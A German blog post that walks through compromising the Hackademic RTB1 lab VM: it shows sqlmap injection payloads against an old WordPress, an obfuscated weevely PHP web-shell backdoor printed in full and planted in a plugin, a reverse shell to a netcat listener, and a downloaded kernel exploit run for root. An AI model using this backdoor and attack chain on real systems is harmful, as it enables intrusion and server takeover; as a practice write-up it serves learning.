Nachdem ich hier ja schon einige Hacking-Images besprochen habe wage ich mich heute einmal an das Hackademic RTB1 VMware Image mal schauen ob sich das als Herausforderung erweist. Das Hackademic Image bezieht beim start eine IP direkt vom DHCP Server von daher gibt es an dieser Front mal keine Probleme. Nachdem das Image erfolgreich gebootet hat verschaffe ich mir schon einmal einen groben Überblick per Nmap.
# Nmap 6.25 scan initiated as: nmap -sV -p 1-65535 -A -oN hackademic.RTB1.nmap -oX hackademic.RTB1.xmap 192.168.178.186 Nmap scan report for 192.168.178.186 Host is up (0.0036s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.15 ((Fedora)) | http-methods: Potentially risky methods: TRACE |_See http://nmap.org/nsedoc/scripts/http-methods.html |_http-title: Hackademic.RTB1 MAC Address: 08:00:27:C4:5A:6C (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.22 - 2.6.36 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 3.58 ms 192.168.178.186 OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . # Nmap done at Thu May 2 11:15:39 2013 -- 1 IP address (1 host up) scanned in 169.32 seconds
Klingt doch für den Anfang ganz vielversprechend. SSH ist dicht, also wird es wohl auf eine Web-challenge hinauslaufen. Soll mir recht sein also geht es an dieser Stelle direkt mit dem Browser weiter.
Nachdem ich mich durch die Startseite geklickt habe begrüßt mich auch schon die eigentliche Herausforderung.
Ziel des Spiels soll also die Key.txt im /root/ Verzeichnis sein, wenn man den Portscan von vorhin bedenkt könnte da einiges an Arbeit auf mich warten. Ich habe es also mit einem Server zu tun bei dem nur ein einziger Port offen ist und einer Webseite die mich bisher auch nicht wirklich weiter bringt. Bevor ich jetzt wieder die schweren Geschütze wie z.B. dirb auf diesen Webserver loslasse werfe ich noch einen kurzen Blick auf den Quelltext der Seite, eventuell findet sich da ja noch etwas brauchbares.
Damit lässt sich doch etwas anfangen. Anscheinend habe ich es also mit einem uralten WordPress in der Version 1.5.1.1 zu tun. Da sollte es doch die ein oder andere Schwachstelle geben die mir auf dem Weg in das /root/ Verzeichnis weiterhilft. Da mir die damaligen Schwachstellen von Worpress allerdings nicht mehr so ganz im Gedächtnis sind schaue ich einfach einmal was Exploit-db so zu bieten hat.
Die Suche lieferte mir dann auch direkt 2 sehr interessante Ergebnisse bzw. 2 Ergebnisse für die gleiche Schwachstelle.
Beim näheren anschauen der Skripte die auf Exploit-db zur Verfügung stehen konnte ich sehen das der cat Parameter von WordPress die eigentliche Schwachstelle darstellt.
Natürlich könnte ich jetzt direkt mit den Skripten von exploit-db arbeiten, doch bei sql injektion fällt mir persönlich direkt sqlmap ein. Einmal gestartet begann sqlmap seine arbeit direkt aufzunehmen, was ein wenig Zeit in Anspruch genommen hat. Am Ende wurde ich doch mit einem kompletten Dump der Datenbank belohnt der auch sämtliche Zugangsdaten der WordPressuser enthielt.
Ein weiterer Versuch mit sqlmap direkt an eine shell zu kommen schlug allerdings fehl.
root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# sqlmap -u http://192.168.178.186/Hackademic_RTB1/?cat= --os-shell sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [15:22:47] [INFO] resuming back-end DBMS 'mysql' [15:22:47] [INFO] testing connection to the target url [15:22:47] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: cat Type: error-based Title: MySQL >= 5.0 error-based - Parameter replace Payload: cat=(SELECT 8074 FROM(SELECT COUNT(*),CONCAT(0x3a6a6a723a,(SELECT (CASE WHEN (8074=8074) THEN 1 ELSE 0 END)),0x3a626d743a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL >= 5.0 time-based blind - Parameter replace Payload: cat=(SELECT (CASE WHEN (6346=6346) THEN SLEEP(5) ELSE 6346*(SELECT 6346 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) --- [15:22:47] [INFO] the back-end DBMS is MySQL web server operating system: Linux Fedora 13 (Goddard) web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0 [15:22:47] [INFO] going to use a web backdoor for command prompt [15:22:47] [INFO] fingerprinting the back-end DBMS operating system [15:22:47] [INFO] the back-end DBMS operating system is Linux [15:22:47] [INFO] trying to upload the file stager which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) > 4 [15:22:49] [WARNING] unable to retrieve automatically the web server document root do you want to provide a text file with a list of directories to try? [y/N] n [15:23:02] [WARNING] unable to retrieve automatically any web server path please provide additional comma separated file paths to try to upload the agent inside the possible document: /var/www/html/ [15:23:12] [WARNING] unable to upload the file stager on '/var/www' [15:23:12] [WARNING] unable to upload the file stager on '/var/www/html' [15:23:12] [WARNING] HTTP error codes detected during run: 404 (Not Found) - 2 times, 500 (Internal Server Error) - 3 times [15:23:12] [INFO] fetched data logged to text files under './output/192.168.178.186'
Im Klartext bedeutet das wohl das ich mir zu Fuß eine Shell besorgen muss, ich hätte da auch schon einen Plan 😉
Also auf geht es zum WordPress Login Screen.
Dank sqlmap kenne ich auch den Benutzer mit den meisten Rechten in dieser WordPressinstallation, „GeorgeMiller“. Sqlmap war auch direkt so freundlich das Passwort mit der Mitgelieferten Wordlist für uns zu knacken, damit sollte ich eigentlich Erfolg haben.
Siehe da, so sah das früher also aus bei WordPress. Mein Login hat also geklappt, doch noch bin ich um einiges von einer Systemshell entfernt die mir Zugriff auf das /root/ Verzeichnis gewährt. Wie geht es also weiter?
WordPress enthält zumindest in der aktuellen Version auch einen Quelltexteditor für Plugins und Themes eventuell war das ja bei dem alten Ding auch schon so, fehlt also eigentlich nur noch der Quelltext für eine php-shell den man dort gemütlich einfügen kann.. Da ich gerade zu faul bin mir da mit der Hilfe von system() und ähnlichen Funktionen etwas zu basteln schaue ich einfach einmal was mir Kali-Linux so zu bieten hat.
Unter dem Menuepunkt Web-Backdoors findet sich ein vielversprechendes Programm namens weevley das ich auch schon früher in etwas ernsteren Szenarien eingesetzt habe. Weevely ist nicht nur in der Lage eine PHP-Backdoor zu erzeugen sondern kann diese auch noch mit einem Passwort versehen. Also genau das was ich im Moment brauche.
root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# weevely ________ __ | | | |-----.----.-.--.----' |--.--. | | | | -__| -__| | | -__| | | | |________|_____|____|___/|____|__|___ | v1.0 |_____| Stealth tiny web shell [+] Start ssh-like terminal session weevely [+] Run command directly from command line weevely [ ".." | : .. ] [+] Generate PHP backdoor weevely generate [ ] .. [+] Show credits weevely credits [+] Show available module and backdoor generators weevely help root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# weevely help +--------------------+------------------------------------------------------+ | generator | description | +--------------------+------------------------------------------------------+ | :generate.php | Generate obfuscated PHP backdoor | | :generate.img | Backdoor existing image and create related .htaccess | | :generate.htaccess | Generate backdoored .htaccess. | +--------------------+------------------------------------------------------+ +----------------------+-----------------------------------------------------------------------+ | module | description | +----------------------+-----------------------------------------------------------------------+ | :audit.mapwebfiles | Enumerate webroot files properties | | :audit.etcpasswd | Enumerate users and /etc/passwd content | | :audit.userfiles | Enumerate common users restricted files | | :shell.sh | System shell | | :shell.php | PHP shell | | :system.info | Collect system informations | | :backdoor.reversetcp | Send reverse TCP shell | | :backdoor.tcp | Open a shell on TCP port | | :bruteforce.sqlusers | Bruteforce all SQL users | | :bruteforce.sql | Bruteforce SQL username | | :file.upload | Upload binary/ascii file to the target filesystem | | :file.rm | Remove remote files and folders | | :file.download | Download binary/ascii files from target filesystem | | :file.upload2web | Upload binary/ascii file into web folders and guess corresponding url | | :file.read | Read files from target filesystem | | :file.check | Check remote files type, md5 and permission | | :file.enum | Check remote files type, md5 and permission | | :sql.console | Execute SQL queries | | :sql.dump | Get SQL database dump | | :net.phpproxy | Install remote PHP proxy | | :net.scan | Print interface addresses | | :net.ifaces | Print interface addresses | | :net.proxy | Install and run Proxy to tunnel traffic through target | | :find.suidsgid | Find files with superuser flags | | :find.perms | Find files with write, read, execute permissions | +----------------------+-----------------------------------------------------------------------+
Klingt doch sehr vielversprechend, also auf in die Schlacht.
root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# weevely generate test backdoor.php [generate.php] Backdoor file 'backdoor.php' created with password 'test' root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# cat backdoor.php <?php $zhxy="pPjMpbleyRrPSdzdCc7ZWNobyAnPCcuJGsublJz4nO2V2YWwoYmFzZTY0X2RlY2bl9kZShwcmVnX3JlcGxhY2UoYXb"; $ceve="lJyYXkoJbly9bXlx3PVxzXSbl8nLCcvblXHblMblvJyksIGFblycmF5KCcnLCcblrb"; $wcvy = str_replace("i","","isitri_reipilacie"); $qmfv="lJyksIGpvaW4bloYXJyYXlfc2xpblY2UoJGEsblJGMoJGEpLblTMpKSkpKTtlY2hvICc8LycuJGsbluJz4nO30="; $yivg="JGM9J2NvbldW50JzskYT0kX0NblPT0tJRTtpblZihyZXNldCgkYSk9PSd0ZScgblJiYgJGMoJGE"; $jnng = $wcvy("t", "", "tbtastet6t4t_tdtetcotde"); $tgex = $wcvy("s","","scsrseastses_sfsusnsctsisosn"); $fimz = $tgex('', $jnng($wcvy("bl", "", $yivg.$zhxy.$ceve.$qmfv))); $fimz();?>
Jetzt habe ich also eine passende Backdoor und muss sie nur noch an der passenden Stelle hinterlegen. Es wird also Zeit einen Blick auf den Codeeditor in WordPress zu werfen.Zum glück sind bereits einige Plugins installiert, sonst müsste ich mir jetzt auch noch ein WordPress-plugin basteln. Für den Moment entscheide ich mich dafür das Plugin „Hello-Dolly“ etwas zu bearbeiten.
Jetzt müsste ich eigentlich einen funktionierenden Shellzugang auf diesem Server haben.Also versuche ich doch die Datei einfach einmal direkt mit dem Browser zu öffnen. Der passende Pfad für das öffnen der Datei sollte eigentlich „/wp-content/plugins/hellodolly/hello.php“ sein, zumindest bei einer aktuellen Version von WordPress.
Scheint zu funktionieren, da ich für die Webshell allerdings ein Passwort gesetzt habe muss ich für den Zugriff wieder auf weevely zurückgreifen.
root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# weevely http://192.168.178.186/Hackademic_RTB1/wp-content/plugins/hello.php test ________ __ | | | |-----.----.-.--.----' |--.--. | | | | -__| -__| | | -__| | | | |________|_____|____|___/|____|__|___ | v1.0 |_____| Stealth tiny web shell [+] Welcome to Weevely. Browse filesystem and execute system commands. [+] Use ':help' to list available modules and run selected one. root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $ whoami apache root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $ uname -a Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $ cat /root/key.txt root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $ ls -ahl /root/ root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $
Damit hätte ich jetzt zumindest mal eine shell mit den Rechten des Systemusers Apache. Die Rechte reichen allerdings im Moment noch nicht aus um an die Datei im /root/ Verzeichnis zu kommen. Bevor wir da jetzt aber mit dem Weevely gedöhns weiterarbeiten lassen wir uns von weevely mal eine ordentliche reverseshell öffnen.
also benutzen wir auf unserer Seite das gute alte netcat
nc -l 9998
Auf anderen Seite benutzen wir wieder weevely.
root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1/192.168.178.186# weevely http://192.168.178.186/Hackademic_RTB1/wp-content/plugins/hello.php test ________ __ | | | |-----.----.-.--.----' |--.--. | | | | -__| -__| | | -__| | | | |________|_____|____|___/|____|__|___ | v1.0 |_____| Stealth tiny web shell [+] Welcome to Weevely. Browse filesystem and execute system commands. [+] Use ':help' to list available modules and run selected one. root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $ :backdoor.reversetcp -port 9998 192.168.178.185 [backdoor.reversetcp] [!] Error: Binding socket [Errno 98] Address already in use root@HackademicRTB1:/var/www/html/Hackademic_RTB1/wp-content/plugins $
Hier erhalte ich zwar eine Fehlermeldung doch wie durch ein Wunder öffnet sich in meinem Netcat Fenster trotzdem eine shell.
root@brecht-lab:/home/brechthold/pentest/hackademic.rtb1# nc -l 9998 sh: no job control in this shell sh-4.0$ whoami whoami apache sh-4.0$ uname -a uname -a Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux sh-4.0$
So das Shellproblem ist dann für das erste gelöst, wie ich jetzt schnell an einen root Zugang? Nach ein paar Minuten mit Google bin ich auf diesen kleinen Exploit gestoßen.
In dem Dokument war dann auch gleich der Downloadlink für den passenden Proof of Concept Code, natürlich lasse ich mich da nicht lumpen und gebe direkt Gas.
sh-4.0$ wget http://www.vsecurity.com/download/tools/linux-rds-exploit.c wget http://www.vsecurity.com/download/tools/linux-rds-exploit.c --2013-05-02 18:50:37-- http://www.vsecurity.com/download/tools/linux-rds-exploit.c Resolving www.vsecurity.com... 209.67.252.12 Connecting to www.vsecurity.com|209.67.252.12|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 6435 (6.3K) [text/x-c] Saving to: `linux-rds-exploit.c' 0K ...... 100% 46.2K=0.1s 2013-05-02 18:50:38 (46.2 KB/s) - `linux-rds-exploit.c' saved [6435/6435] sh-4.0$ gcc linux-rds-exploit.c -o test gcc linux-rds-exploit.c -o test sh-4.0$ ./test ./test [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses... [+] Resolved rds_proto_ops to 0xe0987b20 [+] Resolved rds_ioctl to 0xe097206a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 [*] Overwriting function pointer... [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses... [+] Resolved rds_proto_ops to 0xe0987b20 [+] Resolved rds_ioctl to 0xe097206a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 [*] Overwriting function pointer... [*] Triggering payload... [*] Restoring function pointer... whoami root
Yeaaahhh!!!!! Damit ist das Ziel also so gut wie erreicht, zumindest hab ich jetzt schon einmal einen root Account. Was jetzt noch fehlt ist die key.txt aus dem /root Verzeichnis, das sollte jetzt allerdings kein Problem mehr darstellen.
cat /root/key.txt Yeah!! You must be proud because you 've got the password to complete the First *Realistic* Hackademic Challenge (Hackademic.RTB1) :) $_d&jgQ>>ak\#b"(Hx"o<la_% Regards, mr.pr0n || p0wnbox.Team || 2011 http://p0wnbox.com
Damit habe ich es also mal wieder geschafft. Was habe ich jetzt aus speziell diesem Image gelernt? Ausser der nervigen Exploitsuche für die Privilege escalation war das Image eigentlich relativ cool lösbar. Zumindest führte eine Schwachstelle immer schön zur anderen. Wie realistisch es jetzt ist das jemand noch ein WordPress 1.5.1.1 am laufen hat, darüber lässt sich natürlich wie immer streiten.